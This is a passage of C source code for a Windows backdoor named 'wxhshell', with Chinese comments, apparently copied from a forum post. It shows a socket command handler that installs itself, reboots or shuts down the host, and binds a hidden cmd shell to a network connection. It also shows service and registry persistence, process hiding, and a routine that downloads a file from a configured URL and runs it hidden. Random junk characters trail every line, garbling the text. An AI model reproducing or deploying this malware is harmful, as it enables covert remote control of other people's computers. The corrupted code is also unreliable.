      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ~.3v\Q  
    break; RN 4?]8  
  } *_I`{9~'  
  // 安装 |Io:D:  
  case 'i': { U)f('zD  
    if(Install()) bu6Sp3g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A{;"e^a-^l  
    else z<9C-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *;}xg{@  
    break; D*2*FDGI  
    } s i2@k  
  // 卸载 3);P !W4>  
  case 'r': { M rgj*|  
    if(Uninstall()) D|(\5]:R  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); XgX~K:<jt  
    else  t* Ct*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )rP,+B?W  
    break; \azMF}mb  
    } D)x^?!  
  // 显示 wxhshell 所在路径 ^k7I+A  
  case 'p': { @4UX~=:686  
    char svExeFile[MAX_PATH]; A^FkU  
    strcpy(svExeFile,"\n\r"); hNh!H<}|m8  
      strcat(svExeFile,ExeFile); D+:s{IcL<  
        send(wsh,svExeFile,strlen(svExeFile),0); KF#^MEw%  
    break; I1m[M?  
    } RK-bsf  
  // 重启 dQSO8Jf  
  case 'b': { *K_8=TIA*  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 0IqGy}+VU  
    if(Boot(REBOOT)) d6*84'|!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,Tar?&C:  
    else { \&+Y;:6  
    closesocket(wsh); }*rSg .  
    ExitThread(0); ]wDqdD y7S  
    } qdZ ^D  
    break; eY#^vB  
    } wipl5O@L  
  // 关机 R.WB.FP  
  case 'd': { d #1& "(   
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); >)C7IQ/  
    if(Boot(SHUTDOWN)) PcA^ jBgGl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); EpG9t9S9  
    else { [- 92]  
    closesocket(wsh); 3 .#L  
    ExitThread(0); w;}5B~).  
    } Nb:j]U  
    break; AJ>E\DK0]  
    } c-JXWNz  
  // 获取shell mZB:j]T  
  case 's': { 7"2BZ  
    CmdShell(wsh); )/DN>rU  
    closesocket(wsh); k0=!%f_G!  
    ExitThread(0); 0qNmao4E_  
    break; wxcJ2T dH  
  } J'|[-D-a  
  // 退出 4|&/# Cz^Y  
  case 'x': { C zw]5  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); :'%|LBc0  
    CloseIt(wsh); |MKR&%Na  
    break; _Jg#T~  
    } {sB-"NR`K  
  // 离开 FJH>P\+  
  case 'q': { \EU3i;BNT%  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ][l5S*CC_  
    closesocket(wsh); GC# [&>L  
    WSACleanup(); J?TCP%  
    exit(1); Xh}q/H<  
    break; 2~/`L=L  
        } XdDQ$'*X  
  } SujEF` "  
  } VtzZ1/J E  
&TRKd)wd  
  // 提示信息 pD[&,gV$  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~SBW`=aP}  
} 9;XbyA]  
  } MVzj7~+  
p_BG#dRM  
  return; ^PFiO 12  
} l opl  
g zi=+oJ|4  
// shell模块句柄 2m*ugBO;  
int CmdShell(SOCKET sock) p' ^}J$  
{ t)8c rX}P  
STARTUPINFO si; =%I[o=6  
ZeroMemory(&si,sizeof(si));  U%r{{Q1  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 2X' H^t]7  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; )M Iw/  
PROCESS_INFORMATION ProcessInfo; "k + :!D  
char cmdline[]="cmd"; :T$}@& -  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); \mu';[gLd  
  return 0; vM5I2C3_>!  
} b/\O;o}]  
wT+60X'  
// 自身启动模式 YhglL!p C  
int StartFromService(void) l2W+VBn6  
{ }` `oojz  
typedef struct PT,*KYF_O"  
{ < hy!B4  
  DWORD ExitStatus; \I i# R  
  DWORD PebBaseAddress; Rq|5%;1  
  DWORD AffinityMask; RgFpc*.T  
  DWORD BasePriority; 6flO;d/v  
  ULONG UniqueProcessId; zQ<&[Tuwa  
  ULONG InheritedFromUniqueProcessId; @.cord`  
}   PROCESS_BASIC_INFORMATION; 6C.!+km  
n3J,`1*ct  
PROCNTQSIP NtQueryInformationProcess; ;QuxTmWp^  
6k,@+ @]t.  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 0|va}m`<3G  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; nq7)0F%e  
>/.jB/q  
  HANDLE             hProcess; /:A239=+?  
  PROCESS_BASIC_INFORMATION pbi; Yy[=E\z  
^+~$eg&js  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); uq:'`o-1  
  if(NULL == hInst ) return 0; uJ=&++[  
ArX*3  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Jp)PKS ![  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Gg6cjc=dC  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Jnt r"a-4  
tMf5TiWu@  
  if (!NtQueryInformationProcess) return 0; K'e!BZm6Q  
"[A&S!  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); [uie]*^  
  if(!hProcess) return 0; -=rGN"(M _  
b2F1^]p  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; %E, -dw  
79Q,XRWh|  
  CloseHandle(hProcess); 3s:)CXO  
<C"}OW8  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); gcX  
if(hProcess==NULL) return 0; ]]V=\.y  
q{,yas7}  
HMODULE hMod; ioTqT:.  
char procName[255]; <0`"vPU  
unsigned long cbNeeded; QQHC 1  
6*ZZ)W<  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Tig6<t+Q  
,,9vk\  
  CloseHandle(hProcess); %u|Qh/?7  
QIN# \  
if(strstr(procName,"services")) return 1; // 以服务启动 Grd9yLF  
`n|k+tsC  
  return 0; // 注册表启动 IfRrl/!nw  
} %ULd_ES^  
"J >, Hr9  
// 主模块 &:+_{nc,  
int StartWxhshell(LPSTR lpCmdLine) Z.>?Dt  
{ !})3Fb  
  SOCKET wsl; I$i1o #H  
BOOL val=TRUE; Pt;\]?LVrD  
  int port=0; ~ C_2D?  
  struct sockaddr_in door; g=v[@{9Pw  
E\}Q9, Z$  
  if(wscfg.ws_autoins) Install(); kr1^`>O5  
d7c m?+  
port=atoi(lpCmdLine); Z[j-.,Qu  
)>=|oY3  
if(port<=0) port=wscfg.ws_port; )^^}!U#|e  
~>$(5 s2  
  WSADATA data; 10/3-)+  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; !q PUQ+  
J _|>rfW  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   wVs|mG"  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val));  -gS/  
  door.sin_family = AF_INET; ]}0+7Q  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 7xT<|3 I  
  door.sin_port = htons(port); p@znmn-  
^h|'\-d\  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { n_] OYG>U  
closesocket(wsl); gD fVY%[Z  
return 1; LyXABQ]  
} 1hp@.Fv  
@1[LD[<  
  if(listen(wsl,2) == INVALID_SOCKET) { 9=~jKl%\vJ  
closesocket(wsl); )=D9L  
return 1; Ipmr@%~  
} ==j3 9  
  Wxhshell(wsl); UuA=qWC  
  WSACleanup(); f.r-,%^6{  
BQ&h&57K  
return 0; r>q`# ~  
|b7>kM}"  
} kQBVx8Uq]  
~JT{!wcE}o  
// 以NT服务方式启动 PwNLJj+%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ^jhHaN]G^  
{ S"Zs'7dy`  
DWORD   status = 0; aH$*Ue@Q  
  DWORD   specificError = 0xfffffff; RMrt4:-DI  
86} rz  
  serviceStatus.dwServiceType     = SERVICE_WIN32; z?YGE iR/}  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; )d1,}o  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; "|&*MjwN6  
  serviceStatus.dwWin32ExitCode     = 0; 42Ffx?Qmv  
  serviceStatus.dwServiceSpecificExitCode = 0; {k]VT4/  
  serviceStatus.dwCheckPoint       = 0; >zhbipA  
  serviceStatus.dwWaitHint       = 0; 6ensNr~ea  
(c*Dvpo1  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); YvHn~gNPhs  
  if (hServiceStatusHandle==0) return; +yea}uUE  
Rx<pV_|H,  
status = GetLastError(); NAocmbfNz  
  if (status!=NO_ERROR) -jw=Iyv  
{ " 7 4L  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; r#~6FpFVK^  
    serviceStatus.dwCheckPoint       = 0; ?^+|V,<  
    serviceStatus.dwWaitHint       = 0; q B 2#EsZ  
    serviceStatus.dwWin32ExitCode     = status; (jyJ-qe  
    serviceStatus.dwServiceSpecificExitCode = specificError; MR6vr.~  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus);  JuI,wA  
    return; ?8nG F%p  
  } Zj^H3 h  
Ek. j@79  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; RGKJO_*J2  
  serviceStatus.dwCheckPoint       = 0;  MU^Z*r  
  serviceStatus.dwWaitHint       = 0; wIiT :o  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); V)Xcn'h  
} zj)[Sn tn?  
DpR%s",Q  
// 处理NT服务事件,比如:启动、停止 i! nl%%  
VOID WINAPI NTServiceHandler(DWORD fdwControl) %?$"oWmenS  
{ JZ7-? o  
switch(fdwControl) n C Z  
{ Fy@D&j  
case SERVICE_CONTROL_STOP: d$Xvax,C  
  serviceStatus.dwWin32ExitCode = 0; U\z+{]<<  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; w/<hyEpxg  
  serviceStatus.dwCheckPoint   = 0; n#fg7d%  
  serviceStatus.dwWaitHint     = 0; 0?sp  
  { Aws TDM  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _[7uLWyC9  
  } zBR]bk\  
  return; +$'/!vN  
case SERVICE_CONTROL_PAUSE: BW;u? 1Xa  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 5f5`7uVJF  
  break; s_8! x  
case SERVICE_CONTROL_CONTINUE: 3IxT2@H)  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ] 7O?c=  
  break; -|kDa1knA  
case SERVICE_CONTROL_INTERROGATE: YD%Kd&es  
  break; +Lr0i_al  
}; N!3f1d7RQ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \3/9lE|gh  
} Pg36'aTe%j  
lo#,zd~  
// 标准应用程序主函数 I R&u55#I6  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) PTh Ya  
{ s5dh]vNN  
Lsz`nD5  
// 获取操作系统版本 a`uT'g[*  
OsIsNt=GetOsVer(); ( FRf.mv{  
GetModuleFileName(NULL,ExeFile,MAX_PATH); l]Sui_+ZU  
8K/lpqw  
  // 从命令行安装 D. e*IP1R  
  if(strpbrk(lpCmdLine,"iI")) Install(); {m?x},  
$} Myj'`r  
  // 下载执行文件 Mg$Z^v|}0  
if(wscfg.ws_downexe) { V_kE"W)  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) sFTIRVXN,  
  WinExec(wscfg.ws_filenam,SW_HIDE); Y(f-e,  
} >vU Hf`4T  
@!da1jN  
if(!OsIsNt) { +9J>'oe'D  
// 如果时win9x,隐藏进程并且设置为注册表启动 ^b~5zhY&  
HideProc(); JNz0!wi  
StartWxhshell(lpCmdLine);  df'g},_  
} L9@jmh*E  
else UK,P?_e  
  if(StartFromService()) K/-D 5U  
  // 以服务方式启动 As`^Ku&  
  StartServiceCtrlDispatcher(DispatchTable); ;=OH=+R l  
else 5PPpX=\  
  // 普通方式启动 qg/5m;U  
  StartWxhshell(lpCmdLine); gib]#n1!p  
/ ["T#`  
return 0; ^d*>P|n*@e  
}
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只看该作者 1 发表于: 2006-10-10
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